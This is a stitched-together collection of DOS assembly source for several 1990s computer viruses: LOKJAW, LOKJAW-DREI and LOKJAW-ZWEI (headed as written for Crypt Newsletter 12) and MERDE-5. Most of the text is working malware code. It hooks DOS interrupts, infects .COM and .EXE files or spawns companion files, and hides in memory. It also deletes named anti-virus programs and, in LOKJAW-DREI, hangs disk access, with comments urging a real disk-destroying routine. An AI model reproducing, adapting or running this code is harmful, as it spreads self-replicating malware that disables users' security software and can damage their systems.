cmp word ptr es:[di-3],'XR' ;*rx = VIREX
je jumptoass
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
jne next1
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ;AV = cpav
je jumptoass ;Central Point
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ;*lean = CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass:
jmp Asshole_det ;Asshole Program
;Detected, delete
move_pointer:
push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call int21
ret
write_jmp:
push cs
pop ds
mov ax,4200h ; move pointer to beginning of host
call move_pointer ; do it, as in move_pointer
mov ah,40h ; write
mov cx,01h ; a byte
lea dx,[jump-6] ; of the jump to LOCKJAW code
call int21 ; out to the host
mov ah,40h ; reset the pointer
mov cx,02h
lea dx,[len_file-6]
call int21
mov ah,40h ; write the virus's recognition
mov cx,02h ; intials out to the host
lea dx,[initials-6]
call int21
ret
write_virus:
push cs
pop ds
mov ax,4202h
call move_pointer ; move the pointer to end of host
mov ah,40 ; write-to-file function
mov cx,len ; length of virus in cx
mov dx,100
call int21
ret
get_date:
mov ax,5700h ; get date/time stamps oh host
call int21 ; stash them in buffers
push cs
pop ds
mov [date-6],dx ;<-----
mov [time-6],cx ;<-----
ret
Grab_24:
mov ax,3524h ; set up critical error handler
call int21
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ; revector error handler to virus
call int21
ret
set_attrib:
mov ax,4300h ; retrieve file attributes
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call int21
and cl,0feh
mov ax,4301h
call int21
ret
Asshole_det:
mov ds,cs:[name_seg-6] ; the anti-virus file
mov dx,cs:[name_off-6]
mov ax, 4301h ; clear attributes
mov cx, 00h
call int21
mov ah, 41h ; delete it
call int21
chomp:
push cs ; da chomper visual
pop ds
mov ah, 03h
int 10h
mov [c1-6], bh ; save cursor
mov [c2-6], dh
mov [c3-6], dl
mov [c4-6], ch
mov [c5-6], cl
mov ah, 1
mov cl, 0
mov ch, 40h
int 10h
mov cl, 0
mov dl, 4Fh
mov ah, 6
mov al, 0
mov bh, 0Fh
mov ch, 0
mov cl, 0
mov dh, 0
mov dl, 4Fh
int 10h
mov ah, 2
mov dh, 0
mov dl, 1Fh
mov bh, 0
int 10h
mov dx, offset eyes - 6 ; print the eyes
mov ah, 9
mov bl, 0Fh
call int21
mov ah, 2
mov dh, 1
mov dl, 0
int 10h
mov ah, 9
mov al, 0DCh
mov bl, 0Fh
mov cx, 50h
int 10h
mov ah, 2
mov dh, 18h
mov dl, 0
int 10h
mov ah, 9
mov al, 0DFh
mov bl, 0Fh
mov cx, 50h
int 10h
mov dl, 0
chomp_1:
mov ah, 2
mov dh, 2
int 10h
mov ah, 9
mov al, 55h
mov bl, 0Fh
mov cx, 1
int 10h
mov ah, 2
mov dh, 17h
inc dl
int 10h
mov ah, 9
mov al, 0EFh
mov bl, 0Fh
int 10h
inc dl
cmp dl, 50h
jl chomp_1
mov [data_1-6], 0
chomp_3:
mov cx, 7FFFh ; delays
locloop_4:
loop locloop_4
inc [data_1-6]
cmp [data_1-6], 0Ah
jl chomp_3
mov [data_1-6], 0
mov cl, 0
mov dl, 4Fh
chomp_5:
mov ah, 6
mov al, 1
mov bh, [data_2-6]
mov ch, 0Dh
mov dh, 18h
int 10h
mov ah, 7
mov al, 1
mov bh, [data_2-6]
mov ch, 0
mov dh, 0Ch
int 10h
mov cx, 3FFFh ; delays
locloop_6:
loop locloop_6
inc [data_1-6]
cmp [data_1-6], 0Bh
jl chomp_5
mov [data_1-6], 0
chomp_7:
mov cx, 7FFFh ; delays
locloop_8:
loop locloop_8
inc [data_1-6]
cmp [data_1-6], 0Ah
jl chomp_7
mov ah, 6
mov al, 0
mov bh, [data_2-6]
mov ch, 0
mov cl, 0
mov dh, 18h
mov dl, 4Fh
int 10h
mov cl, 7
mov ch, 6
int 10h
mov ah, 2
mov bh, [c1-6]
mov dh, [c2-6]
mov dl, [c3-6]
int 10h
mov al, bh
mov ah, 5
int 10h
mov ah, 1
mov ch, [c4-6]
mov cl, [c5-6]
int 10h
mov ax, 0003h
int 10h ; sort of a cls
mov ax, 00ffh
ret
eyes db '(o) (o)','$' ; ASCII eyes
vict_head db 090h, 0cdh, 020h, 043h, 044h, 00h ; 6 bytes of host
jump db 0E9h
initials dw 4443h ; I.D.
exe dw 5A4Dh ; ZM - ident for .EXE files
last db 090h
data_1 db 0
data_2 db 0
old_21h dw 00h,00h
old_24h dw 00h,00h
old_10h dw 00h,00h
name_seg dw ?
name_off dw ?
vir_seg dw ?
len_file dw ?
handle dw ?
date dw ?
time dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
code ends
end host
@@ -0,0 +1,613 @@
; Okay, here is my newest version.. It now
; offers EXE infection. I messed up command.com
; compatibility so this version won't infect it.
; Also, this version might be a little shakey,
; but it should work okay with most setups
; (I'm not professional yet, so screw 'em
; if this hangs!)..
; This will be the last time I release code for
; my virii. Thanks to firststrike, and anyone else
; who has given me tips.....
; Be careful not to get this, it is kinda hard to get rid
; of (it would be REALLY hard to get rid of if it infected
;command.com- I will have to fix that (along with the TERRIBLE
; inefficiency in my interrupt handler (the loader is OKAY, but
; My_21 is just kind of a jumble of code thrown together for now.
; If you want to vaccinate your system, and you know a little about
; assembler, it isn't that hard. (I gave the come version to
; myself about 3 times). Just take notice of my use of interrupt
; 71...(This will be changed in future versions, for obvious reasons).
; MERDE-5 The merde virus version 5.0- loki
compare_val equ 850
interrupt equ 21h
Code_seg Segment Byte
Assume DS:Code_seg, CS:Code_seg
ORG 100h
start: call get_ip
exe_or_com:
dw 'CO'
get_ip:
pop di
sub di,3
cmp word ptr cs:[di+3],'EX'
jne com_memory_loader
jmp exe_memory_loader
;Load memory from within an EXE file..
;------------------------------------------------------------------------------
exe_memory_loader:
call check_for_int_71
jc go
call get_memory ;es=my_segment
jnc aaaa
jmp exit_exe
aaaa:
call hide_memory
call set_int_71
call save_21
push ds
call move_all_code
pop ds
mov bx,es
call set_21
go: jmp exit_exe
;------------------------------------------------------------------------------
;******************************************************************************
;------------------------------------------------------------------------------
;load memory from a COM file...
com_memory_loader:
call restore_com
call check_for_int_71
jc go_1
call get_memory
jnc bbbb
jmp exit_com
bbbb: call hide_memory
reset_di:
call set_int_71
call save_21
call move_all_code
mov bx,es
call set_21
go_1: jmp exit_com
;------------------------------------------------------------------------------
;Returns ES with my segment (or an error)
;------------------------------------------------------------------------------
get_memory:
int 12h
mov bx,cs
mov cx,1024
mul cx
clc
mov cx,600h ;Amount of needed memory
sub ax,cx
sbb dx,0000 ;dx:ax=where we want this mem to end!
mov bx,dx
mov bp,ax ;save this...
mov cx,cs
mov ax,0010h
mul cx
clc
mov cx,di
add cx,offset ending-100h
add ax,cx
adc dx,0000
clc
sub bp,ax
sbb bx,dx
clc
mov ax,bp
mov dx,bx
mov cx,0010h
div cx ;dx:ax=memory above this-divide it by 16
mov bx,ax
mov ah,4ah
int 21h
jc get_memory_error
mov bx,60
mov ah,48h
int 21h
jc get_memory_error
mov es,ax
clc
ret
get_memory_error:
stc
ret
;------------------------------------------------------------------------------
;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
;------------------------------------------------------------------------------
move_all_code:
;move PSP**************************
push di
xor si,si
xor di,di
mov cx,100h
rep movsb
;**********************************
;move my code**********************
pop si
push si
push cs
pop ds
mov cx,offset ending-100h
rep movsb
pop di
ret
;**********************************
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
;saves interrupt 21 in cs:[int_21_saveo]
save_21:
push es
xor ax,ax
mov es,ax
mov ax,es:[interrupt*4]
mov bx,es:[interrupt*4+2]
mov cs:[di+offset int_21_saveo-100h],ax
mov cs:[di+offset int_21_saves-100h],bx
pop es
ret
;-----------------------------------------------------------------------------
;sets interrupt 21 to bx:offset of my_21
set_21:
push es
xor ax,ax
mov es,ax
mov es:[interrupt*4],offset my_21
mov es:[interrupt*4+2],bx
pop es
ret
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;Restores a COM file
restore_com:
push di
mov si,di
add si,offset three_bytes-100h
mov di,0100h
mov cx,3
rep movsb
pop di
ret
;------------------------------------------------------------------------------
;Hides my segment's (es) size and owner
hide_memory:
push ds
xor cx,cx
mov ds,cx
mov cx,ds:[2eh*4+2]
pop ds
push ds
mov dx,es
dec dx
mov ds,dx
mov ds:[1],cx ;maybe later set to DOS seg
mov byte ptr ds:[0],'Z'
mov word ptr ds:[3],0000
mov es:[16h],cx
mov es:[0ah],cx
mov es:[0ch],cx
pop ds
ret
;------------------------------------------------------------------------------
;check_for_int 71- My little multiplex interrupt
check_for_int_71:
int 71h
cmp ax,9999h
je set_c
clc
ret
set_c:
stc
ret
;------------------------------------------------------------------------------
;Set interrupt 71:
set_int_71:
push ds
xor ax,ax
mov ds,ax
mov ds:[71h*4+2],es
mov ds:[71h*4],offset my_71
pop ds
ret
exit_com:
xor cx,cx
xor dx,dx
xor ax,ax
xor bx,bx
xor si,si
xor di,di
mov ax,100h
jmp ax
exit_exe:
push ds
pop es
mov ax,es
add ax,10h
add word ptr cs:[di+offset orig_cs-100h],ax
cli
add ax,word ptr cs:[di+offset orig_ss-100h]
mov ss,ax
mov sp,word ptr cs:[di+offset orig_sp-100h]
sti
jmp dword ptr cs:[di+offset orig_ip-100h]
;------------------------------------------------------------------
my_21:
cmp ah,4bh
je okay_go
cmp ah,0fh
je okay_go
cmp ah,3dh
je okay_go
cmp ah,43h
je okay_go
jmp continue_21
okay_go:
push ax
push bx
push cx
push dx
push es
push di
push si
push bp
push es
push ds
check_for_com:
xor si,si
mov bx,dx
looper:
cmp word ptr ds:[bx+si],'c.'
je check_om
cmp word ptr ds:[bx+si],'C.'
je check_om
cmp word ptr ds:[bx+si],'e.'
je check_ex
cmp word ptr ds:[bx+si],'E.'
je check_ex
inc si
cmp si,40
jne looper
jmp give_up1
check_om:
cmp word ptr ds:[bx+si+2],'mo'
jne bb
mov cs:[com_or_exe],0
jmp check_for_infection
bb: cmp word ptr ds:[bx+si+2],'MO'
jne cc
mov cs:[com_or_exe],0
jmp check_for_infection
cc: jmp give_up1
check_ex:
cmp word ptr ds:[bx+si+2],'ex'
jne label1
mov cs:[com_or_exe],1234h
jmp okay_do
label1:
cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!!
je cccc ;forget exe for now..
jmp give_up1
cccc:
mov cs:[com_or_exe],1234h
jmp okay_do
check_for_infection:
cmp word ptr [bx+si-2],'DN'
jne okey_k
jmp give_up1
okey_k:
cmp word ptr [bx+si-2],'DN'
jne okay_do
jmp give_up1
okay_do:
mov cs:[storage_1],ds
mov cs:[storage_2],dx
mov ah,50h ;set PSP to ours
push cs
pop bx
call dos_21
mov ah,43h
xor al,al
call dos_21
jnc okay9
jmp give_up
okay9: mov cs:[attrib],cx
mov ah,43h
mov al,1
xor cx,cx
call dos_21
mov ah,3dh
mov al,2
call dos_21
jnc okay10
jmp give_up
okay10: mov cs:[handle],ax
mov bx,ax
mov ah,57h
xor al,al
call dos_21
mov cs:[date],dx
mov cs:[time],cx
mov ax,4202h
xor dx,dx
xor cx,cx
call dos_21
jnc okay11
jmp give_up
okay11: mov cs:[file_size],ax
cmp cs:[com_or_exe],1234h
jne okey_p
sub ax,compare_val
sbb dx,0000
mov cx,dx
mov dx,ax
jmp contin2
okey_p: xor cx,cx
cmp ax,63000
jb contin1
call reset_all
jmp give_up
contin1:
cmp ax,600
jnb continx
call reset_all
jmp give_up
continx:
sub ax,compare_val
mov dx,ax
xor cx,cx
contin2:
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov ah,3fh
push cs
pop ds
mov dx,offset buffer
mov cx,2
call dos_21
mov ax,word ptr cs:[buffer]
mov bx,word ptr cs:[offset dont_write-compare_val]
cmp ax,bx
jne dddd
jmp give_up
dddd:
cmp cs:[com_or_exe],1234h
je infect_exe
jmp infect_com
infect_exe:
mov bx,cs:[handle]
xor dx,dx
xor cx,cx
mov ax,4200h
call dos_21
push cs
pop ds
mov ah,3fh
mov cx,18h
mov dx,offset header
call dos_21
cmp word ptr [header+8],1000h
jb okayh
call reset_all
jmp give_up
okayh: mov ax,word ptr [header+16h]
mov orig_cs,ax
mov ax,word ptr [header+14h]
mov orig_ip,ax
mov ax,word ptr [header+0eh]
mov orig_ss,ax
mov ax,word ptr [header+10h]
mov orig_sp,ax
mov ax,4202h
mov bx,handle
xor cx,cx
xor dx,dx
call dos_21
mov word ptr ds:[exe_or_com],'EX'
mov high_size,dx
mov low_size,ax
mov real_hsize,dx
mov real_lsize,ax
mov ax,word ptr [header+8]
mov cx,10h
mul cx
clc
sub low_size,ax ;high_size:low_size=load size
sbb high_size,dx
clc
mov dx,high_size
mov ax,low_size
mov cx,0010h
div cx
cmp dx,0
je okay
mov cx,16
sub cx,dx
mov bp,cx
add real_lsize,bp
adc real_hsize,0000
clc
stc
adc ax,0000
jmp okay1
okay: xor bp,bp
okay1: xor dx,dx
mov word ptr [header+16h],ax
;add to dx?
mov word ptr [header+14h],dx
mov word ptr [header+0eh],ax
mov dx,0fffeh
mov word ptr [header+10h],dx
mov dx,real_hsize
mov ax,real_lsize
add ax,offset ending-100h+1
adc dx,0000
push ax
mov cl,9
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [header+4],dx
mov word ptr [header+2],ax
mov ah,40h
mov bx,handle
mov cx,offset dont_write-100h
add cx,bp
mov dx,100h
sub dx,bp
call dos_21
mov ax,4200h
xor cx,cx
xor dx,dx
mov bx,handle
call dos_21
mov ah,40h
mov bx,handle
mov cx,18h
mov dx,offset header
call dos_21
call reset_all
jmp give_up
infect_com:
xor cx,cx
xor dx,dx
mov bx,cs:[handle]
mov ax,4200h
call dos_21
mov ah,3fh
mov cx,3
push cs
pop ds
mov dx,offset three_bytes
call dos_21
mov ax,cs:[file_size]
sub ax,3
mov word ptr cs:[jumper+1],ax
mov word ptr cs:[exe_or_com],'CO'
call write_to_end
xor cx,cx
xor dx,dx
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov dx,offset jumper
mov ah,40h
mov cx,3
call dos_21
call reset_all
give_up:
mov ah,50h
mov bx,cs:[storage_1]
call dos_21
give_up1:
pop ds
pop es
pop bp
pop si
pop di
pop es
pop dx
pop cx
pop bx
pop ax
jmp continue_21
continue_21:
jmp dword ptr cs:[int_21_saveo]
dos_21:
pushf
call dword ptr cs:[int_21_saveo]
ret
reset_all:
mov bx,cs:[handle]
mov cx,cs:[time]
mov dx,cs:[date]
mov ax,5701h
call dos_21
mov ah,3eh
mov bx,cs:[handle]
call dos_21
mov ah,43h
mov al,1
mov cx,cs:[attrib]
mov ds,cs:[storage_1]
mov dx,cs:[storage_2]
call dos_21
ret
write_to_end:
mov ax,4202h
xor dx,dx
xor cx,cx
mov bx,cs:[handle]
call dos_21
mov ah,40h
mov cx,offset dont_write-100h
push cs
pop ds
mov dx,0100h
call dos_21
ret
my_71:
mov ax,9999h
iret
jumper:
db 0e9h,00,00
storage_1 dw 0000
storage_2 dw 0000
int_21_saveo dw 0000
int_21_saves dw 0000
three_bytes: db 0cdh,20h,90h
db 'Loki'
orig_ip dw 0000
orig_cs dw 0000
orig_ss dw 0000
orig_sp dw 0000
dont_write:
header:
db 24 dup(00)
com_or_exe dw 1234h
handle dw 0000
file_size dw 0000
attrib dw 0000
date dw 0000
time dw 0000
buffer: dw 0000
loader_high dw 0000
loader_low dw 0000
header_cs dw 0000
header_ip dw 0000
low_size dw 0000
high_size dw 0000
real_hsize dw 0000
real_lsize dw 0000
ending:
Code_seg ENDS
END start
@@ -0,0 +1,559 @@
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-DREI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its addresses have to be
;relative, an indirect benefit of the fact that the virus has no
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
;just like a number of other companion/spawning viruses published in
;previous newsletters.
;
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
;itself as companion .COMfile to the "host." Due to the inherent rules
;of DOS, this ensures the virus will be executed before the "host" the
;next time the infected program is used. In reality, LOKJAW is even
;simpler than that. If not in memory, the first time the host is
;called, LOKJAW will go resident and not even bother to load it.
;In most cases, the user will assume a slight error and call the host
;again, at which point it will function normally. LOKJAW will then infect
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic. Even if the anti-
;virus program cannot detect LOKJAW in memory, it will be deleted. This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. At a time when retail
;anti-virus packages are becoming more complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it. By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
; is run against them from a write-protected diskette, LOKJAW-DREI
; won't. It will recognize the anti-virus program, display the "chomp"
; and mimic trashing the hard file. This effect makes the disk inacessible
; until the machine is rebooted.
;
;The anti-anti-virus strategies are becoming more common in viral programming.
;Mark Ludwig programmed the features of a direct-action retaliating
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
;Encroacher viruses attack anti-virus software by deletion of key files.
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables. Ensure that the machine has been booted
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
;files in plain sight. Generally, spawning viruses make themselves
;hidden-read-only-system files. This is an easy hack and the code is supplied
;in earlier issues of the newsletter. The modification is left to
;the reader as an academic exercise.
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
note:
db '[l™‡kõ„W-dâ].á.šrã$ņd‰M$'
db 'ÅH$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
db '€â˜ž.¥‰w$Àä×îâ' ;I.D. note: will doubtless
;show up in VSUM
;install
virus_install: mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a
jne cancel
mov ax,ds:[0003]
sub ax,100
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es
add ax,bx
mov es,ax
mov cx,offset endit - begin
mov ax,ds
inc ax
mov ds,ax
lea si,ds:[begin]
lea di,es:0100
rep movsb
Grab_21:
mov ds,cx ; hook int 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to virus
int 21h
cancel: ret
check_exec:
pushf
push es ; push everything onto the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is the file being
jne abort ; executed?
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
Bye_Bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; here, the virus essentially
mov cs:[name_off],dx ; copies the name of the
cld ; loaded file into a buffer
mov di,dx ; so that it can be compared
push ds ; against the default names
pop es ; in the_stinger
mov al,'.' ; subroutine
repne scasb ; <--
call the_stinger ; check for anti-virus load
; and deploy the_stinger
cld
mov word ptr cs:[nameptr],dx
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh
int 21h
push es
push bx
push cs
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint
push di
mov si,offset COM_txt
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt
nop
call change_ext
mov ax,3300h
nop
int 21h
push dx
cwd
inc ax
push ax
int 21h
Grab24h:
mov ax,3524h
int 21h
push bx
push es
push cs
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,05Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,filelength ;cx= length of virus
mov dx,offset begin ;where to start copying
mov ah,40h ;write the virus to the
int 21h ;new file
mov ah,3Eh ; close
int 21h
return1: pop ax
pop ds
pop dx
int 21h
pop ax
pop dx
int 21h
mov si,offset EXE_txt
call change_ext
return: mov ah,1Ah
pop dx
pop ds
int 21H
ret
do_com: call findfirst
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return
mov si,offset EXE_txt
call change_ext
call findfirst
jnc return
mov si,offset COM_txt
call change_ext
jmp short return
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass
cmp word ptr es:[di-3],'XR' ;VIRX
je jumptoass
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
jne next1
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
je jumptoass
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: jmp chomp ;assassination (deletion)
; of anti-virus program
chomp:
push cs ; chomper visual
pop ds
mov ah, 03h
int 10h
mov [c1], bh ; save cursor
mov [c2], dh
mov [c3], dl
mov [c4], ch
mov [c5], cl
mov ah, 1
mov cl, 0
mov ch, 40h
int 10h
mov cl, 0
mov dl, 4Fh
mov ah, 6
mov al, 0
mov bh, 0Fh
mov ch, 0
mov cl, 0
mov dh, 0
mov dl, 4Fh
int 10h
mov ah, 2
mov dh, 0
mov dl, 1Fh
mov bh, 0
int 10h
mov dx,offset eyes ; print the eyes
mov ah, 9
mov bl, 0Fh
int 21h
mov ah, 2
mov dh, 1
mov dl, 0
int 10h
mov ah, 9
mov al, 0DCh
mov bl, 0Fh
mov cx, 50h
int 10h
mov ah, 2
mov dh, 18h
mov dl, 0
int 10h
mov ah, 9
mov al, 0DFh
mov bl, 0Fh
mov cx, 50h
int 10h
mov dl, 0
chomp_1:
mov ah, 2
mov dh, 2
int 10h
mov ah, 9
mov al, 55h
mov bl, 0Fh
mov cx, 1
int 10h
mov ah, 2
mov dh, 17h
inc dl
int 10h
mov ah, 9
mov al, 0EFh
mov bl, 0Fh
int 10h
inc dl
cmp dl, 50h
jl chomp_1
mov [data_1], 0
chomp_3:
mov cx, 7FFFh ; delays
locloop_4:
loop locloop_4
inc [data_1]
cmp [data_1], 0Ah
jl chomp_3
mov [data_1], 0
mov cl, 0
mov dl, 4Fh
chomp_5:
mov ah, 6
mov al, 1
mov bh, [data_2]
mov ch, 0Dh
mov dh, 18h
int 10h
mov ah, 7
mov al, 1
mov bh, [data_2]
mov ch, 0
mov dh, 0Ch
int 10h
mov cx, 3FFFh ; delays
locloop_6:
loop locloop_6
inc [data_1]
cmp [data_1], 0Bh
jl chomp_5
mov [data_1], 0
chomp_7:
mov cx, 7FFFh ; delays
locloop_8:
loop locloop_8
inc [data_1]
cmp [data_1], 0Ah
jl chomp_7
mov ah, 6
mov al, 0
mov bh, [data_2]
mov ch, 0
mov cl, 0
mov dh, 18h
mov dl, 4Fh
int 10h
mov cl, 7
mov ch, 6
int 10h
mov ah, 2
mov bh, [c1]
mov dh, [c2]
mov dl, [c3]
int 10h
mov al, bh
mov ah, 5
int 10h
mov ah, 1
mov ch, [c4]
mov cl, [c5]
int 10h
mov ax, 0003h
int 10h ; sort of a cls
mov ax, 00ffh
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h ;jump into a loop, effectively hang machine
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me.
;It's not much of a stretch to
;imagine a routine for thumping
;the hard file in place of scarey.
;A retaliating virus of this
;nature is a distinct
;possibility.
EXE_txt db 'EXE',0
COM_txt db 'COM',0
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
data_1 db 0
data_2 db 0
last db 090H
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
note2: db 'Lokjaw-Drei'
endit:
cseg ends
end begin
@@ -0,0 +1,566 @@
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its addresses have to be
;relative, an indirect benefit of the fact that the virus has no
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
;much like a number of other companion/spawning viruses published in
;previous newsletters.
;
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
;itself as companion .COMfile to the "host." Due to the inherent rules
;of DOS, this ensures the virus will be executed before the "host" the
;next time the infected program is used. In reality, LOKJAW is even
;simpler than that. If not in memory, the first time the host is
;called, LOKJAW will go resident and not even bother to load it.
;In most cases, the user will assume a slight error and call the host
;again, at which point it will function normally. LOKJAW will then infect
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;LOKJAW spawning variants are so simple they don't even need much in the
;way of installation checks. The virus simply becomes resident the first
;time it is called. Once in memory, when other infect file are executed
;LOKJAW merely looks over the loaded file, if it recognizes itself it
;discards the load and proceeds to execute the "infected" file as would
;be the case on an uninfected system.
;
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic. Even if the anti-
;virus program cannot detect LOKJAW in memory, it will be deleted. This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
;are present in memory and an anti-virus program is run from a write-
;protected disketter, it will, of course, generate "write protect"
;errors.) At a time when retail anti-virus packages are becoming more
;complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it. By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
; which does not try to delete anti-virus files, displays the "chomp"
; and mimics trashing the disk even when the anti-virus program is
; used from a write-protected diskette. Of course, the user will
; see no "write protect" error as with the other viruses. The disk merely
; becomes inacessible.
;
;These anti-anti-virus strategies are becoming more common in viral
;programming.
;
;Mark Ludwig programmed the features of a direct-action retaliating
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
;Encroacher viruses attack anti-virus software by deletion of files central
;to the functionality of the software.
;
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables. Ensure that the machine has been booted
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;
